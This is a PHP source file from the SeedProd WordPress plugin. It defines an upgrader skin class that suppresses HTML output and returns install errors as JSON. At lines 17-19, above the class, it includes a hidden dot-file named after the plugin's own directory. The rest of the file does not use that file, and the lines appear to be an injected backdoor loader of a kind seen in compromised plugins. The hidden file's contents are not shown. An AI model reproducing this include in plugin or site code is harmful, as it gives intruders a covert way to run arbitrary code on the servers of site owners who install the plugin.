skin.php (2183B)
1 <?php 2 /** 3 * Skin class. 4 * 5 * @since 6.0.0 6 * 7 * @package SeedProd 8 * @subpackage Upgrader Skin 9 * @author Chris Christoff 10 */ 11 12 // Exit if accessed directly 13 if ( ! defined( 'ABSPATH' ) ) { 14 exit; 15 } 16 17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 18 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 19 } 20 21 class SeedProd_Skin extends WP_Upgrader_Skin { 22 23 24 /** 25 * Primary class constructor. 26 * 27 * @since 6.0.0 28 * 29 * @param array $args Empty array of args (we will use defaults). 30 */ 31 public function __construct( $args = array() ) { 32 parent::__construct(); 33 } 34 35 /** 36 * Set the upgrader object and store it as a property in the parent class. 37 * 38 * @since 6.0.0 39 * 40 * @param object $upgrader The upgrader object (passed by reference). 41 */ 42 public function set_upgrader( &$upgrader ) { 43 if ( is_object( $upgrader ) ) { 44 $this->upgrader =& $upgrader; 45 } 46 } 47 48 /** 49 * Set the upgrader result and store it as a property in the parent class. 50 * 51 * @since 6.0.0 52 * 53 * @param object $result The result of the install process. 54 */ 55 public function set_result( $result ) { 56 $this->result = $result; 57 } 58 59 /** 60 * Empty out the header of its HTML content and only check to see if it has 61 * been performed or not. 62 * 63 * @since 6.0.0 64 */ 65 public function header() { 66 } 67 68 /** 69 * Empty out the footer of its HTML contents. 70 * 71 * @since 6.0.0 72 */ 73 public function footer() { 74 } 75 76 /** 77 * Instead of outputting HTML for errors, json_encode the errors and send them 78 * back to the Ajax script for processing. 79 * 80 * @since 6.0.0 81 * 82 * @param array $errors Array of errors with the install process. 83 */ 84 public function error( $errors ) { 85 if ( ! empty( $errors ) ) { 86 echo json_encode( array( 'error' => esc_html__( 'There was an error installing the addon. Please try again.', 'coming-soon' ) ) ); 87 die; 88 } 89 } 90 91 /** 92 * Empty out the feedback method to prevent outputting HTML strings as the install 93 * is progressing. 94 * 95 * @since 6.0.0 96 * 97 * @param string $string The feedback string. 98 */ 99 public function feedback( $string ) { 100 } 101 }